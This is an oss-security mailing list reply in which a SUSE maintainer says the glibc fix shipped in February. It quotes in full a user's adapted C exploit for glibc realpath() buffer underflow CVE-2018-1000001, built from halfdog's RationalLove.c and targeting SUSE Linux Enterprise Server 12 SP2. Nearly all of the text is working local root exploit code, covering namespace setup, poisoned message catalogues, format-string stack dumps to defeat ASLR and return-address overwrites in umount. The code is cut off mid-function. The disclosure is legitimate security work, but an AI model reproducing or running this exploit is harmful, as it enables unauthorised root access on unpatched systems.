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Message-ID: <20180625100134.i6fvtcfy6y6rpynq@suse.de>
Date: Mon, 25 Jun 2018 12:01:34 +0200
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: Libc Realpath Buffer Underflow CVE-2018-1000001
expolit source code for SuSE 12 SP2
Hi,
FWIW, SUSE has released fixes for glibc on SUSE Linux Enterprise Server 12 SP2 on February 15th,
so you will probably need to downgrade glibc to an older version to make this run successful.
Ciao, Marcus
On Mon, Jun 25, 2018 at 02:36:53PM +0800, zrlw@...a.com wrote:
> Hi, i wrote a exploit base on halfdog's RationalLove.c, and successfully tested on SuSE Enterprise Server 12 SP 2.I want send it back to halfdog, but it seemed that my email always be rejected(maybe because i'm in china), may you transfer it to halfdog? all the code belong to him. Thanks!LaoWei2018/6/25
> /**
> * This software based on RationalLove.c,
> * only tested on SUSE Linux Enterprise Server 12 SP2,
> * so using it at your own risk :)
> *
> * Lao Wei zrlw@...a.com 2018/6/25
> *
> * Adjusts for SuSE 12 SP2:
> * set LC_ALL=en_US.UTF-8, not load locale files if set C.UTF-8.
> * set 'A' repeat times to 106.
> * set offsets & deltas based on SuSE Enterprise Server 12 SP2.
> * Known Limits:
> * permit USERNS clone && multiple locales system.
> */
>
> /** This software is provided by the copyright owner "as is" and any
> * expressed or implied warranties, including, but not limited to,
> * the implied warranties of merchantability and fitness for a particular
> * purpose are disclaimed. In no event shall the copyright owner be
> * liable for any direct, indirect, incidential, special, exemplary or
> * consequential damages, including, but not limited to, procurement
> * of substitute goods or services, loss of use, data or profits or
> * business interruption, however caused and on any theory of liability,
> * whether in contract, strict liability, or tort, including negligence
> * or otherwise, arising in any way out of the use of this software,
> * even if advised of the possibility of such damage.
> *
> * Copyright (c) 2018 halfdog <me (%) halfdog.net>
> * See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
> *
> * This tool exploits a buffer underflow in glibc realpath()
> * and was tested against latest release from Debian, Ubuntu
> * Mint. It is intended as demonstration of ASLR-aware exploitation
> * techniques. It uses relative binary offsets, that may be different
> * for various Linux distributions and builds. Please send me
> * a patch when you developed a new set of parameters to add
> * to the osSpecificExploitDataList structure and want to contribute
> * them.
> *
> * Compile: gcc -o RationalLove RationalLove.c
> * Run: ./RationalLove
> *
> * You may also use "--Pid" parameter, if you want to test the
> * program on already existing namespaced or chrooted mounts.
> */
>
> #define _GNU_SOURCE
> #include <assert.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <limits.h>
> #include <poll.h>
> #include <sched.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/mount.h>
> #include <sys/stat.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
>
> #define UMOUNT_ENV_VAR_COUNT 256
>
> /** Dump that number of bytes from stack to perform anti-ASLR.
> * This number should be high enough to reproducible reach the
> * stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
> * environment variable references but low enough to avoid hitting
> * upper stack limit, which would cause a crash.
> */
> #define STACK_LONG_DUMP_BYTES 4096
>
> char *messageCataloguePreamble="Language: en\n"
> "MIME-Version: 1.0\n"
> "Content-Type: text/plain; charset=UTF-8\n"
> "Content-Transfer-Encoding: 8bit\n";
>
> /** The pid of a namespace process with the working directory
> * at a writable /tmp only visible by the process. */
> pid_t namespacedProcessPid=-1;
>
> int killNamespacedProcessFlag=1;
>
> /** The pathname to the umount binary to execute. */
> char *umountPathname;
>
> /** The pathname to the named pipe, that will synchronize umount
> * binary with supervisory process before triggering the second
> * and last exploitation phase.
> */
> char *secondPhaseTriggerPipePathname;
>
> /** The pathname to the second phase exploitation catalogue file.
> * This is needed as the catalogue cannot be sent via the trigger
> * pipe from above.
> */
> char *secondPhaseCataloguePathname;
>
> /** The OS-release detected via /etc/os-release. */
> char *osRelease=NULL;
>
> /** This table contains all relevant information to adapt the
> * attack to supported Linux distros (fully updated) to support
> * also older versions, hash of umount/libc/libmount should be
> * used also for lookups.
> * The 4th string is an array of 4-byte integers with the offset
> * values for format string generation. Values specify:
> * * Stack position (in 8 byte words) for **argv
> * * Stack position of argv[0]
> * * Offset from __libc_start_main return position from main()
> * and system() function, first instruction after last sigprocmask()
> * before execve call.
> */
> #define ED_STACK_OFFSET_CTX 0
> #define ED_STACK_OFFSET_ARGV 1
> #define ED_STACK_OFFSET_ARG0 2
> #define ED_LIBC_GETDATE_DELTA 3
> #define ED_LIBC_EXECL_DELTA 4
>
> /** Magic values consume my lots of time :(
> * 1. Get 'A' repeat times in SuSE
> * The number of 'A' must accord with the offset between "LC_COLLATE" and binding->dirname's addr in memory,
> * then realpath() append a '\0', change binding->dirname's addr to new addr which just point to a wonderful string "ib",
> * change locale directory to relative is the key.
> * 2. ED_STACK_OFFSET_CTX
> * umount.c: warnx(_("%s: not mounted"), tgt)
> * printf_positional+4225> mov rax, QWORD PTR [r15+rax*1]
> * rax / 16 is it.
> * 3. ED_STACK_OFFSET_ARGV
> * search umount's argv offset(1 offset = 8bytes) in stack information which outputed by vfprintf
> * 4. ED_STACK_OFFSET_ARGV0
> * seatch umount's argv0 offset(1 offset = 8bytes) in stack information which outputed by vfprintf
> * 5. ED_LIBC_GETDATE_DELTA
> * gdb umount to calculate getdate - main_ret_addr (__libc_start_main+245)
> * 6. ED_LIBC_EXECL_DELTA
> * gdb umount to calculate execl - main_ret_addr (__libc_start_main+245)
> *
> * zrlw@...a.com
> */
> static char* osSpecificExploitDataList[]={
> "\"12-SP2\"",
> "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
> "ib",
> "\x07\0\0\0\x28\0\0\0\x42\0\0\0\xdb\xe0\x08\x00\x2b\xa3\x09\x00",
> NULL};
>
> char **osReleaseExploitData=NULL;
>
> /** Locate the umount binary within the given search path list,
> * elements separated by colons.
> * @return a pointer to a malloced memory region containing the
> * string or NULL if not found.
> */
> char* findUmountBinaryPathname(char *searchPath) {
> char *testPathName=(char*)malloc(PATH_MAX);
> assert(testPathName);
>
> while(*searchPath) {
> char *endPtr=strchr(searchPath, ':');
> int length=endPtr-searchPath;
> if(!endPtr) {
> length=strlen(searchPath);
> endPtr=searchPath+length-1;
> }
> int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
> searchPath, "umount");
> if(result>=PATH_MAX) {
> fprintf(stderr, "Binary search path element too long, ignoring it.\n");
> } else {
> struct stat statBuf;
> result=stat(testPathName, &statBuf);
> // Just assume, that umount is owner-executable. There might be
> // alternative ACLs, which grant umount execution only to selected
> // groups, but it would be unusual to have different variants
> // of umount located searchpath on the same host.
> if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
> return(testPathName);
> }
> }
> searchPath=endPtr+1;
> }
>
> free(testPathName);
> return(NULL);
> }
>
>
> /** Get the value for a given field name.
> * @return NULL if not found, a malloced string otherwise.
> */
> char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
> int nameLength=strlen(fieldName);
> while(dataLength>0) {
> char *nextPos=memchr(releaseData, '\n', dataLength);
> int lineLength=dataLength;
> if(nextPos) {
> lineLength=nextPos-releaseData;
> nextPos++;
> } else {
> nextPos=releaseData+dataLength;
> }
> if((!strncmp(releaseData, fieldName, nameLength))&&
> (releaseData[nameLength]=='=')) {
> return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
> }
> releaseData=nextPos;
> dataLength-=lineLength;
> }
> return(NULL);
> }
>
>
> /** Detect the release by reading the VERSION field from /etc/os-release.
> * @return 0 on success.
> */
> int detectOsRelease() {
> int handle=open("/etc/os-release", O_RDONLY);
> if(handle<0)
> return(-1);
>
> char *buffer=alloca(1024);
> int infoLength=read(handle, buffer, 1024);
> close(handle);
> if(infoLength<0)
> return(-1);
> osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
> if(!osRelease)
> osRelease=getReleaseFileField(buffer, infoLength, "NAME");
> if(osRelease) {
> fprintf(stderr, "Detected OS version: %s\n", osRelease);
> return(0);
> }
>
> return(-1);
> }
>
>
> /** Create the catalogue data in memory.
> * @return a pointer to newly allocated catalogue data memory
> */
> char* createMessageCatalogueData(char **origStringList, char **transStringList,
> int stringCount, int *catalogueDataLength) {
> int contentLength=strlen(messageCataloguePreamble)+2;
> int stringPos;
> for(stringPos=0; stringPos<stringCount; stringPos++) {
> contentLength+=strlen(origStringList[stringPos])+
> strlen(transStringList[stringPos])+2;
> }
> int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
> char *catalogueData=(char*)malloc(preambleLength+contentLength);
> memset(catalogueData, 0, preambleLength + contentLength);
> int *preambleData=(int*)catalogueData;
> *preambleData++=0x950412de;
> preambleData++;
> *preambleData++=stringCount+1;
> *preambleData++=0x1c;
> *preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
> *preambleData++=0x5;
> *preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
>
> char *nextCatalogueStringStart=catalogueData+preambleLength;
> for(stringPos=-1; stringPos<stringCount; stringPos++) {
> char *writeString=(stringPos<0)?"":origStringList[stringPos];
> int length=strlen(writeString);
> *preambleData++=length;
> *preambleData++=(nextCatalogueStringStart-catalogueData);
> memcpy(nextCatalogueStringStart, writeString, length+1);
> nextCatalogueStringStart+=length+1;
> }
> for(stringPos=-1; stringPos<stringCount; stringPos++) {
> char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
> int length=strlen(writeString);
> *preambleData++=length;
> *preambleData++=(nextCatalogueStringStart-catalogueData);
> memcpy(nextCatalogueStringStart, writeString, length+1);
> nextCatalogueStringStart+=length+1;
> }
> assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
> for(stringPos=0; stringPos<=stringCount+1; stringPos++) {
> // *preambleData++=(stringPos+1);
> *preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
> }
> *catalogueDataLength=preambleLength+contentLength;
> return(catalogueData);
> }
>
>
> /** Create the catalogue data from the string lists and write
> * it to the given file.
> * @return 0 on success.
> */
> int writeMessageCatalogue(char *pathName, char **origStringList,
> char **transStringList, int stringCount) {
> int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
> if(catalogueFd<0) {
> fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
> pathName);
> return(-1);
> }
> int catalogueDataLength;
> char *catalogueData=createMessageCatalogueData(
> origStringList, transStringList, stringCount, &catalogueDataLength);
> int result=write(catalogueFd, catalogueData, catalogueDataLength);
> assert(result==catalogueDataLength);
> close(catalogueFd);
> free(catalogueData);
> return(0);
> }
>
> void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
> char pathBuffer[PATH_MAX];
> int pathNameLength=0;
> while(1) {
> char *nextPathSep=strchr(pathName+pathNameLength, '/');
> if(nextPathSep) {
> pathNameLength=nextPathSep-pathName;
> } else {
> pathNameLength=strlen(pathName);
> }
> int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
> namespaceMountBaseDir, pathNameLength, pathName);
> assert(result<PATH_MAX);
> result=mkdir(pathBuffer, 0755);
> assert((!result)||(errno==EEXIST));
> if(!pathName[pathNameLength])
> break;
> pathNameLength++;
> }
> }
>
>
> /** This child function prepares the namespaced mount point and
> * then waits to be killed later on.
> */
> static int usernsChildFunction() {
> while(geteuid()!=0) {
> sched_yield();
> }
> int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
> assert(!result);
> assert(!chdir("/tmp"));
> int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
> assert(handle>=0);
> close(handle);
> sleep(100000);
> }
>
> /** Prepare a process living in an own mount namespace and setup
> * the mount structure appropriately. The process is created
> * in a way allowing cleanup at program end by just killing it,
> * thus removing the namespace.
> * @return the pid of that process or -1 on error.
> */
> pid_t prepareNamespacedProcess() {
> if(namespacedProcessPid==-1) {
> fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
>
> char *stackData=(char*)malloc(1<<20);
> assert(stackData);
> namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
> CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
> if(namespacedProcessPid==-1) {
> fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
> return(-1);
> }
>
> char idMapFileName[128];
> char idMapData[128];
> sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
> int setGroupsFd=open(idMapFileName, O_WRONLY);
> assert(setGroupsFd>=0);
> int result=write(setGroupsFd, "deny", 4);
> assert(result>0);
> close(setGroupsFd);
>
> sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
> int uidMapFd=open(idMapFileName, O_WRONLY);
> assert(uidMapFd>=0);
> sprintf(idMapData, "0 %d 1\n", getuid());
> result=write(uidMapFd, idMapData, strlen(idMapData));
> assert(result>0);
> close(uidMapFd);
>
> sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
> int gidMapFd=open(idMapFileName, O_WRONLY);
> assert(gidMapFd>=0);
> sprintf(idMapData, "0 %d 1\n", getgid());
> result=write(gidMapFd, idMapData, strlen(idMapData));
> assert(result>0);
> close(gidMapFd);
>
> // After setting the maps for the child process, the child may
> // start setting up the mount point. Wait for that to complete.
> sleep(1);
> fprintf(stderr, "Namespaced filesystem created with pid %d\n",
> namespacedProcessPid);
>
> fprintf(stderr, "my pid = %d, gdb attach me!\n", getpid());
> //sleep(20); // wait gdb attach
>
> }
>
> osReleaseExploitData=osSpecificExploitDataList;
> if(osRelease) {
> // If an OS was detected, try to find it in list. Otherwise use
> // default.
> int tPos;
> for(tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
> if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
> osReleaseExploitData=osSpecificExploitDataList+tPos;
> break;
> }
> }
> }
>
> char pathBuffer[PATH_MAX];
> int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
> namespacedProcessPid);
> assert(result<PATH_MAX);
> char *namespaceMountBaseDir=strdup(pathBuffer);
> assert(namespaceMountBaseDir);
>
> // Create directories needed for umount to proceed to final state
> // "not mounted".
> createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "(unreachable)/tmp/%s/en_US/LC_MESSAGES", osReleaseExploitData[2]);
> assert(result<PATH_MAX);
> createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
> createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
> createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
>
> // Create symlink to trigger underflows.
> result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
> namespaceMountBaseDir);
> assert(result<PATH_MAX);
> result=symlink(osReleaseExploitData[1], pathBuffer);
> assert(!result||(errno==EEXIST));
>
> // getdate will leave that string in rdi to become the filename
> // to execute for the next round.
> char *selfPathName=realpath("/proc/self/exe", NULL);
> result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
> namespaceMountBaseDir);
> assert(result<PATH_MAX);
> int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
> assert(handle>0);
> result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
> selfPathName);
> assert(result<PATH_MAX);
> result=write(handle, pathBuffer, result);
> close(handle);
> free(selfPathName);
>
> // Write the initial message catalogue to trigger stack dumping
> // and to make the "umount" call privileged by toggling the "restricted"
> // flag in the context.
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "%s/(unreachable)/tmp/%s/en_US/LC_MESSAGES/util-linux.mo",
> namespaceMountBaseDir, osReleaseExploitData[2]);
> assert(result<PATH_MAX);
>
> char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
> assert(stackDumpStr);
> char *stackDumpStrEnd=stackDumpStr;
> stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
> ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
>
> int dumpCount;
> for(dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
> memcpy(stackDumpStrEnd, "%016lx", 6);
> stackDumpStrEnd+=6;
> }
>
> // We wrote allready 8 bytes, write so many more to produce a
> // count of 'L' and write that to the stack. As all writes so
> // sum up to a count aligned by 8, and 'L'==0x4c, we will have
> // to write at least 4 bytes, which is longer than any "%hhx"
> // format string output. Hence do not care about the byte content
> // here. The target write address has a 16 byte alignment due
> // to varg structure.
>
> stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
> ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
> STACK_LONG_DUMP_BYTES/16);
> *stackDumpStrEnd=0;
> result=writeMessageCatalogue(pathBuffer,
> (char*[]){
> "%s: mountpoint not found",
> "%s: not mounted",
> "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
> },
> (char*[]){"1234", stackDumpStr, "5678"},
> 3);
> assert(!result);
> free(stackDumpStr);
>
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
> namespaceMountBaseDir, osReleaseExploitData[2]);
> assert(result<PATH_MAX);
> result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
> assert((!result)||(errno==EEXIST));
> secondPhaseTriggerPipePathname=strdup(pathBuffer);
>
> result=snprintf(pathBuffer, sizeof(pathBuffer),
> "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
> namespaceMountBaseDir, osReleaseExploitData[2]);
> secondPhaseCataloguePathname=strdup(pathBuffer);
>
> free(namespaceMountBaseDir);
> return(namespacedProcessPid);
> }
>
> /** Create the format string to write an arbitrary value to the
> * stack. The created format string avoids to interfere with
> * the complex fprintf format handling logic by accessing fprintf
> * internal state on stack. Thus the modification method does
> * not depend on that ftp internals. The current libc fprintf
> * implementation copies values for formatting before applying
> * the %n writes, therefore pointers changed by fprintf operation
> * can only be utilized with the next fprintf invocation. As
> * we cannot rely on a stack having a suitable number of pointers
> * ready for arbitrary writes, we need to create those pointers
> * one by one. Everything needed is pointer on stack pointing
> * to another valid pointer and 4 helper pointers pointing to
> * writeable memory. The **argv list matches all those requirements.
> * @param printfArgvValuePos the position of the argv pointer from
> * printf format string view.
> * @param argvStackAddress the address of the argv list, where
> * the argv[0] pointer can be read.
> * @param printfArg0ValuePos the position of argv list containing
> * argv[0..n] pointers.
> * @param mainFunctionReturnAddress the address on stack where
> * the return address from the main() function to _libc_start()
> * is stored.
> * @param writeValue the value to write to mainFunctionReturnAddress
> */
> void createStackWriteFormatString(
> char *formatBuffer, int bufferSize, int printfArgvValuePos,
> void *argvStackAddress, int printfArg0ValuePos,
> void *mainFunctionReturnAddress, unsigned short *writeData,
> int writeDataLength) {
> int result=0;
> int currentValue=-1;
> int nextWriteValue;
> for(nextWriteValue=0; nextWriteValue<0x10000;) {
> // Find the lowest value to write.
> nextWriteValue=0x10000;
> int valuePos;
> for(valuePos=0; valuePos<writeDataLength; valuePos++) {
> int value=writeData[valuePos];
> if((value>currentValue)&&(value<nextWriteValue))
> nextWriteValue=value;
> }
> if(currentValue<0)
> currentValue=0;
> if(currentValue!=nextWriteValue) {
> result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
> nextWriteValue-currentValue);
> formatBuffer+=result;
> bufferSize-=result;
> currentValue=nextWriteValue;
> }
> for(valuePos=0; valuePos<writeDataLength; valuePos++) {
> if(writeData[valuePos]==nextWriteValue) {
> result=snprintf(formatBuffer, bufferSize,
> "%%%d$hn", printfArg0ValuePos+valuePos+1);
> formatBuffer+=result;
> bufferSize-=result;
> }
> }
> }
>
> // Print the return function address location number of bytes
> // except 8 (those from the LABEL counter) and write the value
> // to arg1.
> int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
> result=snprintf(formatBuffer, bufferSize,
> "%%1$%d.%ds%%1$s%%1$s%%%d$hn",
> writeCount, writeCount, printfArg0ValuePos);
> formatBuffer+=result;
> bufferSize-=result;
>
> // Write the LABEL 6 more times, thus multiplying the the single
> // byte write pointer to an 8-byte aligned argv-list pointer and
> // update argv[0] to point to argv[1..n].
> writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
> result=snprintf(formatBuffer, bufferSize,
> "%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
> writeCount, writeCount, printfArgvValuePos);
> formatBuffer+=result;
> bufferSize-=result;
>
> // Append a debugging preamble.
> result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
> printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
> printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
> printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
> formatBuffer+=result;
> bufferSize-=result;
> }
>
>
> /** Wait for the trigger pipe to open. The pipe will be closed
> * immediately after opening it.
> * @return 0 when the pipe was opened before hitting a timeout.
> */
> int waitForTriggerPipeOpen(char *pipeName) {
> struct timespec startTime, currentTime;
> int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
> startTime.tv_sec+=10;
> assert(!result);
> while(1) {
> int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
> if(pipeFd>=0) {
> close(pipeFd);
> break;
> }
> result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
> if(currentTime.tv_sec>startTime.tv_sec) {
> return(-1);
> }
> currentTime.tv_sec=0;
> currentTime.tv_nsec=100000000;
> nanosleep(¤tTime, NULL);
> }
> return(0);
> }
>
>
> /** Invoke umount to gain root privileges.
> * @return 0 if the umount process terminated with expected exit
> * status.
> */
> int attemptEscalation() {
> int escalationSuccess=-1;
>
> char targetCwd[64];
> snprintf(
> targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
>
> int pipeFds[2];
> int result=pipe(pipeFds);
> assert(!result);
>
> pid_t childPid=fork();
> assert(childPid>=0);
> if(!childPid) {
> // This is the child process.
> close(pipeFds[0]);
> fprintf(stderr, "Starting subprocess\n");
> dup2(pipeFds[1], 1);
> dup2(pipeFds[1], 2);
> close(pipeFds[1]);
> result=chdir(targetCwd);
> assert(!result);
>
> // Create so many environment variables for a kind of "stack spraying".
> int envCount=UMOUNT_ENV_VAR_COUNT;
> char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
> assert(umountEnv);
> umountEnv[envCount--]=NULL;
> // SuSE take C,POSIX as singlelocale which not load locale file, so change it to en_US.UTF-8???zrlw@...a.com
> umountEnv[envCount--]="LC_ALL=en_US.UTF-8";
> while(envCount>=0) {
> umountEnv[envCount--]="AANGUAGE=X.X";
> }
> // Use the built-in C locale.
> // Invoke umount first by overwriting heap downwards using links
> // for "down", then retriggering another error message ("busy")
> // with hopefully similar same stack layout for other path "/".
> char* umountArgs[]={umountPathname,
> "/", "/", "/", "/", "/", "/", "/", "/", "/", "/",
> "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd",
> "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
> result=execve(umountArgs[0], umountArgs, umountEnv);
> assert(!result);
> }
> close(pipeFds[1]);
> int childStdout=pipeFds[0];
>
> int escalationPhase=0;
> char readBuffer[1024];
> int readDataLength=0;
> char stackData[STACK_LONG_DUMP_BYTES];
> int stackDataBytes=0;
>
> struct pollfd pollFdList[1];
> pollFdList[0].fd=childStdout;
> pollFdList[0].events=POLLIN;
>
> // Now learn about the binary, prepare data for second exploitation
> // phase. The phases should be:
> // * 0: umount executes, glibc underflows and causes an util-linux.mo
> // file to be read, that contains a poisonous format string.
> // Successful poisoning results in writing of 8*'A' preamble,
> // we are looking for to indicate end of this phase.
> // * 1: The poisoned process writes out stack content to defeat
> // ASLR. Reading all relevant stack end this phase.
> // * 2: The poisoned process changes the "LANGUAGE" parameter,
> // thus triggering re-read of util-linux.mo. To avoid races,
> // we let umount open a named pipe, thus blocking execution.
> // As soon as the pipe is ready for writing, we write a modified
> // version of util-linux.mo to another file because the pipe
> // cannot be used for sending the content.
> // * 3: We read umount output to avoid blocking the process and
> // wait for it to ROP execute fchown/fchmod and exit.
> while(1) {
> if(escalationPhase==2) {
> // We cannot use the standard poll from below to monitor the pipe,
> // but also we do not want to block forever. Wait for the pipe
> // in nonblocking mode and then continue with next phase.
> result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
> if(result) {
> goto attemptEscalationCleanup;
> }
> escalationPhase++;
> }
>
> // Wait at most 10 seconds for IO.
> result=poll(pollFdList, 1, 10000);
> if(!result) {
> // We ran into a timeout. This might be the result of a deadlocked
> // child, so kill the child and retry.
> fprintf(stderr, "Poll timed out\n");
> goto attemptEscalationCleanup;
> }
> // Perform the IO operations without blocking.
> if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
> result=read(
> pollFdList[0].fd, readBuffer+readDataLength,
> sizeof(readBuffer)-readDataLength);
> if(!result) {
> if(escalationPhase<3) {
> // Child has closed the socket unexpectedly.
> readBuffer[readDataLength]=0;
> fprintf(stderr, "%s\n", readBuffer);
> goto attemptEscalationCleanup;
> }
> break;
> }
> if(result<0) {
> fprintf(stderr, "IO error talking to child\n");
> goto attemptEscalationCleanup;
> }
> readDataLength+=result;
>
> // Handle the data depending on escalation phase.
> int moveLength=0;
> switch(escalationPhase) {
> case 0: // Initial sync: read A*8 preamble.
> if(readDataLength<8)
> continue;
> char *preambleStart=memmem(readBuffer, readDataLength,
> "AAAAAAAA", 8);
> if(!preambleStart) {
> // No preamble, move content only if buffer is full.
> if(readDataLength==sizeof(readBuffer))
> moveLength=readDataLength-7;
> break;
> }
> // We found, what we are looking for. Start reading the stack.
> /*
> readBuffer[readDataLength]=0;
> fprintf(stderr, "%s\n", readBuffer);
> */
> escalationPhase++;
> moveLength=preambleStart-readBuffer+8;
> case 1: // Read the stack.
> // Consume stack data until or local array is full.
> fprintf(stderr, "\n");
> while(moveLength+16<=readDataLength) {
> result=sscanf(readBuffer+moveLength, "%016lx",
> (int*)(stackData+stackDataBytes));
> if(result!=1) {
> // Scanning failed, the data injection procedure apparently did
> // not work, so this escalation failed.
> goto attemptEscalationCleanup;
> }
> moveLength +=sizeof(long)*2;
> stackDataBytes+=sizeof(long);
> // See if we reached end of stack dump already.
> if(stackDataBytes==sizeof(stackData))
> break;
> }
> if(stackDataBytes!=sizeof(stackData))
> break;
> /*
> int i;
> for(i=0; i < stackDataBytes/sizeof(long); i++) {
> void *p = stackData + i * sizeof(long);
> if (*((long *)p) == 0) continue;
> fprintf(stderr, "%x : %016lx\n", i * sizeof(long), *((unsigned long*)p));
> }
> */
> // All data read, use it to prepare the content for the next phase.
> fprintf(stderr, "Stack content received, calculating next phase\n");
>
> int *exploitOffsets=(int*)osReleaseExploitData[3];
>
> // This is the address, where source Pointer is pointing to.
> void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
> // This is the stack address source for the target pointer.
> void *sourcePointerLocation=sourcePointerTarget-0xd0;
>
> void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
> // This is the stack address of the libc start function return
> // pointer.
> void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
> fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
> sourcePointerLocation, sourcePointerTarget,
> targetPointerTarget, libcStartFunctionReturnAddressSource);
> // So the libcStartFunctionReturnAddressSource is the lowest address
> // to manipulate, targetPointerTarget+...
>
> void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
> void *stackWriteData[]={
> libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
> libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
> };
> fprintf(stderr, "Changing return address from %p to %p, %p\n",
> libcStartFunctionAddress, stackWriteData[0],
> stackWriteData[1]);
> escalationPhase++;
>
> char *escalationString=(char*)malloc(1024);
> createStackWriteFormatString(
> escalationString, 1024,
> exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for vfprintf (suse12.2), not fprintf!
> sourcePointerTarget, // Base value to write
> exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
> libcStartFunctionReturnAddressSource,
> (unsigned short*)stackWriteData,
> sizeof(stackWriteData)/sizeof(unsigned short)
> );
> fprintf(stderr, "Using escalation string %s", escalationString);
>
> result=writeMessageCatalogue(
> secondPhaseCataloguePathname,
> (char*[]){
> "%s: mountpoint not found",
> "%s: not mounted",
